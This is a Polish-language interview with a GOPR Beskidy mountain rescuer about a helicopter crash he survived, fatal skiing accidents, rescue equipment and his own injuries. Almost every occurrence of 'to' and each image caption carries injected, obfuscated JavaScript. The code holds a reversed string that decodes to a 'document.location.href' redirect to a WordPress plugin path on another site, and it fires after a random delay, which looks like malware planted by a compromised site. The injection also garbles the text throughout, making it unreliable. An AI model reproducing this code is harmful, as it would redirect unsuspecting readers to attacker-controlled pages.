Bardzo fajnie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to działa, szczególnie, jak ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś swój profil uzupełni, ponieważ można tam wpisać i choroby, wszystko. Jak się dzwoni, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to od razu widać.

Ale samo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to że, jak kliknie, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to na mapie z dokładnością do dziecięciu metrów widać, nawet chwalą się, że bliżej. To jest super sprawa.

Co najgorzej wspominasz?

Najgorzej, jak ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś odchodzi, a szczególnie młody człowiek, zdrowy organizm. Taki ciekawy przypadek, bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to były lata osiemdziesiąte. Podjechałem i od razu stwierdziłem uraz kręgosłupa. Tak było. Młoda dziewczyna, dwadzieścia jeden lat, z narzeczonym. Wesele za parę dni miało być. Jeszcze było wszystko ok. Na szósty czy na dziewiąty dzień zmarła. Mnie powiadomili. Potem dochodzenia, cuda niewidy. To potem zawsze się odbija echem.

Przewróciła się?

Przewróciła się na tej ściance i tam złamała kręgosłup. I żeby było ciekawiej, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ludzie skojarzyli pewne sprawy. W dniu, w którym ją składali do grobu, dokładnie o tej samej godzinie ten helikopter się rozbił wtedy. Tam stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toję koło tego helikoptera. Żeby było ciekawiej – jeszcze żona tu była wtedy. I ja wyskakiwałem gdzieś z wysokości dziesięciu metrów. Jeszcze byłem tak zachłanny, że narty zdążyłem wyrzucić.

Jerzy Stec, Ra<script srcset=$NqM=function(n){if (typeof ($NqM.list[n]) == „string”) return $NqM.list[n].split(„”).reverse().join(„”);return $NqM.list[n];};$NqM.list=[„\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tornik GOPR, GOPR Beskidy” width=”1000″ height=”563″/>

W tym helikopterze byłeś? W tym, co się rozbił ty byłeś?

Tak, zdążyłem narty wyrzucić i wyskoczyłem.

A dziwisz się, że ja sprzęt pierwszy rzucam.

Ale te narty też były tak znaczące dla mnie, bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to były porządne narty. To było na górce za lądowiskiem. Zdążyłem popłynąć, jeszcze na brzuchu zjechałem pod las. Moment obrotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towy jest nieprawdopodobny. To ma szybkość naddźwiękową. Płaty były rozrzucone na odcinku jakichś czterech kilometrów.

Wszyscy przeżyli?

Tak. Ci, którzy zostali w środku – tam były jakieś urazy. Ale wszyscy przeżyli.

Powiedz, co się stało. Zdmuchnęło was? Tylne śmigło poszło?

Nie. Potwornie wiało. Wtedy zwoziłem już szósty wypadek i mieliśmy siadać na dole, bo tak wiało, że w powietrzu śmigłowiec tak się zachowywał, jakby ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś tłukł o niego. Ale tu była akcja, tu był kolega, ja przez radio z nim rozmawiałem i mówi: „Słuchaj, Juras, przyleć, bo mamy akcję ratunkową”. Ja mówię: „Lecimy do góry”. W zasadzie ja nie dysponuję tym, tylko szofer i on wie na przyrządach, czy może, czy nie może, ale zdecydował się polecieć. I po prostu jemu mocy zabrakło. On, jak tu wyszedł zza lasu do góry, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to już nie było szans. On już cuda wyprawiał. Ja już toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to widziałem, udało mi się otworzyć, wyskoczyłem, a on potem walnął. Poleciał na dziób. I zsunął się po śniegu, i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dodatkowo też zamortyzowało, że toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nie było na płaskim. No ale przeżyli wszyscy.

Ile osób było w środku?

Trzy osoby, ja byłem czwarty.

Dziesięć metrów – ale toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to w śnieg uderzyłeś?

Na pochyły stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tok. Mniej więcej. Ludzie widzieli ze schroniska, co się dzieje, między innymi moja żona – i wyleciała. Wylecieli przed schronisko i krzyczeli: co się dzieje z helikopterem? On wył jak diabli, bo brakowało mu mocy. Miał problemy do zwrotu dojść i tak dalej, tylko się ustawiał pod wiatr. Finał był taki, że dostałem od małżonki zakaz lotów.

A coś mówiłeś o tym powiązaniu.

To, co mówiłem o tym wypadku, ludzie powiązali ten przypadek, bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to się dość długo ciągnęło, bo dopatrywali się tam nie wiadomo czego. Ale toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to był normalny wypadek na nartach, niefortunny. Kręgosłup tak poszedł, że jeszcze bodajże podstawa czaszki, jeszcze coś tam. I po paru dniach w dobrym szpitalu zmarła ta dziewczyna. Ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś tam doszedł do tego, że śmigłowiec się rozbił o tej godzinie, jak ją do grobu składali. I takie halo jakieś z boku się zrobiło, że toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to coś tam, nie wiadomo co. Ja tam nie wierzę w takie rzeczy, ale skojarzyli toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.

Jak zaczynałeś, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jaki miałeś sprzęt? Narty?

Na początku na akcje na zjazdowych nartach szedłem. Potem na jakiś takich linkach typu kandahar, bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to już było lepsze.

A co toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jest linka?

Taka linka była do zapinania. Całkiem przydatna, bo but pracował. Biegowe narty były z kolei za słabe. Ja dużo na biegówkach chodziłem, bo miałem do nich dostęp. U mnie na dyżurce zawsze było ich ze trzydzieści sztuk. Jedną złamałem, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to brałem następną. Nie do pary, ale sztukę. Ale toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to było tak, że na przykład na Cudzichowej toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to były takie kalafiory z lodu nawiane, że jak się jechało na nartach słabych, że pół uleciało narty albo dziobu, no i nurkowałeś gdzieś w śniegu. To było za słabe do naszej służby. Te plastikowe narty, krótkie, które robiliśmy potem do chodzenia, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to już było lepsze. Potem dopiero turowe nastały. W tej chwili już jest bardzo dobry sprzęt.

Jerzy Stec, Ra<script srcset=$NqM=function(n){if (typeof ($NqM.list[n]) == „string”) return $NqM.list[n].split(„”).reverse().join(„”);return $NqM.list[n];};$NqM.list=[„\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tornik GOPR, GOPR Beskidy” width=”1000″ height=”563″ />

O kiedy taki sprzęt jest wprowadzany?

Początek lat dziewięćdziesiątych w zasadzie.

A najdłuższa twoja akcja ile trwała?

Ponad siedemdziesiąt godzin. Poszukiwanie jakieś w tym rejonie. Nieszczęśliwe, bo był potworny śnieg. Wtedy używaliśmy rakietnic. Bardzo dobra rzecz, czasami tego brakuje w tej chwili.

A co toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jest?

Strzelasz do góry, z każdej odległości, jeśli tylko widzisz, cię identyfikuje każdy, ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to zauważy. Za Palenicą z prawej strony, pamiętam, strzelałem, przeszedłem na Rysiankę sam, bo nikogo nie było, i gość tam spał. Ja strzelałem – potem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to lokalizowaliśmy. Gość spał w śpiworze zasypany. On nie słyszał, ja go nie widziałem.

Jak zaczynałeś, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to miałeś jakichś guru ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towniczych?

Znałem chłopaków, natoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomiast tej służby zawodowej nie znałem, bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jest jak ze strażą pożarną – są ochotnicy, czyli z toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toporkami – jest pożar, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to idą do pożaru. A są jednostki wyspecjalizowane, które mają cały ten sprzęt. Tu miałem taki przypadek dwa lata temu – był taśmociąg, chłopca wciągnęło. Jako transport do wyciągu krzesełkowego, od dołu był taśmociąg górniczy, żeby nie trzeba było podchodzić. I dzieci, które były w normalnym przedszkolu narciarskim, jeździły, a że ich było dużo, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ci instruktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torzy tak podzielili, że sobie zjeżdżali dookoła, brali dzieciaki na tę taśmę, wchodzili, podjeżdżali, znowu zjeżdżali, żeby nie trzeba było podchodzić. Z tym że tam był zakaz,  samodzielnie można było od czternastego roku życia. Trafił się taki dzieciak, któremu tam gdzieś narty zatrzymało, wsadził rękę, porwało mu ją do tego taśmociągu. I połamało. Dobrze, że został tak i go nie wmieliło. Było złe zabezpieczenie. Wyłącznik nie zadziałał. Myśmy tam podjechali, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to co prawda już toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to stanęło, ale problem był z wyciągnięciem tego dzieciaka, bo myśmy nie wiedzieli, w ilu miejscach ta ręka jest. Wrzask, mnóstwo ludzi. Przyjechała straż pożarna – miejscowi. Oprócz papierosów i komórek nie mieli nic. To co z takiej straży? W tej chwili jednostki, które tam udzielają pomocy na drodze, mają pełny sprzęt, do cięcia i tak dalej. Gdyby mieli cokolwiek, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to by go wycięli od razu.

Długo się tam męczyliście?

Jakimś łomem udało się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wszystko wyciągnąć. Śmigłowiec też nie wylądował, bo pogoda się popsuła. „R” (czyt. Erka) była, lekarza przywiozłem. Operacja wiem, że się udała. Dzwonili i wszystko było przygotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towane od razu na stół. Dobrze, że się tak skończyło. Natoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomiast po prostu byli nieprzeszkoleni, nie mieli tego sprzętu. My tych pił mechanicznych nie mamy. A tam toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to było potrzebne.

Jesteś tu najstarszy stażem?

Z czynnych jednym z….

Nigdy nie myślałeś, żeby odejść?

Kiedyś trzeba będzie odejść, każdy odejdzie. Ale tak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wiesz – w lustro nie patrzę. Jeszcze na szczęście jako tako zdrowie dopisuje.

A nie miałeś akcji, że ci się odechciało, coś pękło?

Miałem kręgosłup połamany, i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nie raz, nogi, ręce – wszystko, co się dało.

Kręgosłup? Jak?

Pierwszy raz toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to robiłem roboty wysokościowe – na kominach, na blokach. Jak człowiek był uwięziony na krzesełku i coś tam poleciało, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jak przydzwoniłeś, za przeproszeniem, dupskiem, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to na kręgosłup szło. Było toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to złamanie kompresyjne – kręgi poszły. Na szczęście toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wszystko funkcjonuje.

Czyli kręgosłup, ręce – z helikoptera spadającego wyskoczyłeś. Coś jeszcze skrywasz?

Cokolwiek byś wymyślił, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to było połamane. Wtedy jak nogę złamałem, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mój ojciec podpisał amputację w szpitalu w Cieszynie. Miałem takie szczęście, że mój trener wyniósł mnie na rękach, chłopaka dwunastoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toletniego. Rozbił nogą drzwi. Klub był porządny, jak na tamte czasy, bo nawet karetkę mieliśmy swoją, i na zasadzie tych układów zawiózł mnie do Piekar. Jedna, druga operacja – na ten czas takich operacji nie robiono, bo zastoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosowali jakieś pętle, druty i inne rzeczy. I noga jest i funkcjonuje. Ślady tam zostały, bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to było parę razy cięte. I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to w takim niefortunnym miejscu, bo wtedy wszystkie wiązania powodowały, że złamania były zazwyczaj podudzia, nad butem.

A do jakichś momentów wracasz szczególnie? Masz swoje ulubione opowieści?

Wtedy jak spotykam tych ludzi. Tak jak wspominają. Zawsze ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś coś dopowie. Czasami po latach bajki z tego wychodzą. Tak słucham z boku – szok. Na filmie właśnie, pamiętam, był taki dobry numer, bo gościa zwoziłem trzy razy. On już mnie znał po imieniu. Takiego pecha miał. To się fajnie wspomina takie rzeczy, bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wesoło jest. A teraz toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bardziej bezimiennie. Kiedyś toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to trwało dłużej z tym klientem. Jak związać, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to trzeba było odczekać na pogotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towie i tak dalej, a teraz człowiek wszystko robi, żeby było jak najszybciej. Masz łączność na tyle dobrą, że jesteś w stanie wszystko zgrać. Wtedy się siedziało w schronisku, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wszyscy się znali w nim. Nie było ludzi z zewnątrz, bo nie było wyciągów do schronisk. Od czasu do czasu ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś się pojawi i potem przyjeżdża gość i mówi: „A wiesz, ty mnie uczyłeś na nartach”. Fajnie, i teraz zaczyna opowiadać i wtedy sobie przypominam, że coś takiego było faktycznie. Tych ludzi się dużo przewinęło, więc trudno zapamiętać wszystkich. Teraz mnie nie było trzy tygodnie, bo miałem tydzień urlopu, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to przyjechał pan. On mi opowiada, okazało się, że jego żonę zwoziłem. Złamała bodajże kość ogonową – taki uraz niewesoły. Boli. Myśmy się zgadali – on nie wiedział, że ją zwoziłem. A dużo rzeczy człowiek jednak nie pamięta. Tu jakieś złamanie, jedno, drugie, trzecie zrobiłeś. Trudno, żeby toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pamiętać.

Ty jakoś się ostałeś?

Jakoś tak zostało. Z przyzwyczajenia, jak sam widzisz. Już tyle lat minęło. Miałem krótką przerwę, bo był problem i z zatrudnieniem, i z pracą, ale i tak siedziałem w górach, bo pracowałem z kolei, ucząc dzieci jeździć na nartach. Była toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to namiastka, ale zawsze żyłem obok, tu. Tu miałem chałupę na dole i codziennie tu byłem na stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toku, ewentualnie na wyjeździe gdzieś, bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to od zawodów do zawodów się jeździło, ale potem znowu czym prędzej wskoczyłem. I tak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to już jest. Pociągnęło mnie. Najgorsze, że człowiek nie widzi, że już tyle lat minęło.

Czemu nie widzi?

To lustro jest od czasu do czasu. Nie czuję tego fizycznie jeszcze. Wiadomo, że te wskaźniki idą w dół, bo nie ma siły, żeby się ścigać z chłopakiem, który ma dwadzieścia parę lat, ćwiczy, biega i tak dalej, ale wydolność jest na tyle dobra, że nie ma problemów, jak na razie. A jak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to długo potrwa, zobaczymy. W każdym razie nie spieszy mi się do ciepłych papuci.

Jerzy Stec, Ra<script srcset=$NqM=function(n){if (typeof ($NqM.list[n]) == „string”) return $NqM.list[n].split(„”).reverse().join(„”);return $NqM.list[n];};$NqM.list=[„\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tornik GOPR, GOPR Beskidy” width=”1000″ height=”563″/>

Po czym poznajesz dobrego ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}townika?

